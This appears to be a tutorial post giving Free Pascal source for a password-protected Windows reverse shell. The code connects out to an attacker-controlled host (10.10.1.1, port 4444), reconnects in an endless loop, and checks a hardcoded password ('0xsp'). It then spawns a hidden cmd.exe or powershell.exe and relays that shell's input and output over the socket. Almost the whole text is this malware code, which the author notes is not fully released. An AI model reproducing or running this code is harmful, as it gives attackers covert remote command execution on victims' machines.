Reverse Shell with password protection

we are going to use wssocket module with free pascal as coding language . our goal to execute cmd commands through socket connection by protecting our access with password .

Coding Connection Function .

function connection(Address : string; port : Integer) : Integer;
var
sinsock : TSocket;
SockAddrIn : TSockAddrIn;
hostent : PHostEnt;
begin
disconnect(sinsock);
sinsock := Winsock.socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(Port);
SockAddrIn.sin_addr.s_addr := inet_addr(StringToPAnsiChar(address));
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(StringToPAnsiChar(Address));
if HostEnt = nil then
begin
result := SOCKET_ERROR;
Exit;
end;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end; //CHANGE MADE
if Winsock.Connect(sinSock, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR Then
result := SOCKET_ERROR
else
result := sinsock;
end;

above function will be responsible for using win sock to establish reverse connect request into attacker host .

the code function

so our connection is ready , lets prepare out socket calling and specific codes to

WSAStartup($101, WSA);

in our reverse shell we are willing to use cmd.exe or powershell.exe as one should be included on socket transmission . so we have to handle memory correctly to avoid access violations exception while executing cmd commands inside socket .

FillMemory( @StartupInfo, sizeof( StartupInfo ), 0 );
FillMemory( @ProcessInfo, sizeof( ProcessInfo ), 0 );

Protect our access with password

accomplishing this by following code below

while (1=1) Do begin
revsock := connection(StringToPAnsiChar('10.10.1.1'), 4444); //connect
if revsock <> SOCKET_ERROR Then Connected := True;
while (Loggedin = False) and (Connected = True) Do begin //Login Loop
if SendString(revsock, 'LLogin: ') < 1 then Connected := False;
strrecv := RecvLn(revsock, #$A); //Waiting in blocking mode
if strrecv = '0xsp' then begin //password string
LoggedIn := True;
SendString(revsock,'PASCAL SHELL');

but of course another condition loop should implemented after the execution of main function of code

Creation of Pipes

//Create our Pipes
CreatePipe(PipeInputRead, PipeInputWrite, @SecurityAttr, 0);
CreatePipe(PipeOutputRead, PipeOutputWrite, @SecurityAttr, 0);

Creation of Process stuff

FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
FillChar(SecurityAttr, SizeOf(TSecurityAttributes), 0);
SecurityAttr.nLength := SizeOf(SecurityAttr);
SecurityAttr.bInheritHandle := true;
SecurityAttr.lpSecurityDescriptor := nil;
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
StartupInfo.cb:=SizeOf(StartupInfo);
StartupInfo.hStdInput := PipeInputRead;
StartupInfo.hStdOutput := PipeOutputWrite;
StartupInfo.hStdError := PipeOutputWrite;
StartupInfo.wShowWindow := sw_Hide;
StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
//create new hidden cmd window with our pipes
nameofexetuable:= 'cmd.exe'; // or powershell.exe
UniqueString(nameofexetuable);
CreateProcess(nil, PChar(nameofexetuable), nil, nil, True,CREATE_NEW_CONSOLE , nil, nil, StartupInfo, ProcessInfo);
CloseHandle(PipeInputRead);
CloseHandle(PipeOutputWrite);
//non blocking mode for pipe
Mode := PIPE_NOWAIT;
SetNamedPipeHandleState(PipeOutputRead, Mode , nil, nil);
//non blocking mode for socket
Nonblocking := 1;
ioctlsocket(revsock, FIONBIO, Longint(Nonblocking));

also please make sure to identify the following on variable section with related type .

StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
SecurityAttr: TSecurityAttributes;
PipeOutputRead: THandle;
PipeOutputWrite: THandle;
PipeInputRead: THandle;
PipeInputWrite: THandle;

finalizing loops and execution assurance

the following code will be responsible for password validation and checking ,transmitting (read,write) sock from pipe .

while Connected Do begin
GetExitCodeProcess(ProcessInfo.hProcess, ExitCode);
if ExitCode <> STILL_ACTIVE then Break;//cmd still running?
Sleep(50);
repeat
FillChar(buffer, BUFFER_SIZE, #0);
ReadFile(PipeOutputRead, Buffer, BUFFER_SIZE, br, nil);
if br > 0 Then SendBuf(revsock, buffer, br);
until br < BUFFER_SIZE; //read from pipe, send to socket
Sleep(50);
repeat
FillChar(buffer, BUFFER_SIZE, #0);
br2 := RecvBuf(revsock, buffer, BUFFER_SIZE);
if br2 = SOCKET_ERROR Then Connected := False;
if br2 > 0 then begin
//here you could filter the input, to add your own commands
WriteFile(PipeInputWrite, buffer, br2,br, nil);
end;
until br2 < BUFFER_SIZE; //read from socket, send to byte
end;
LoggedIn := False; //fixup in the end
TerminateProcess(ProcessInfo.hProcess,0);
CloseHandle(PipeInputWrite);
CloseHandle(PipeOutputRead);
Disconnect(revsock);
Sleep(1000); //wait one second befor try to reconnect
end;

so not all code is released , there are related units should be called during , but the idea is to implement password for your shell .

Reference

http://www.felix-colibri.com/papers/web/socket_programming/socket_programming.html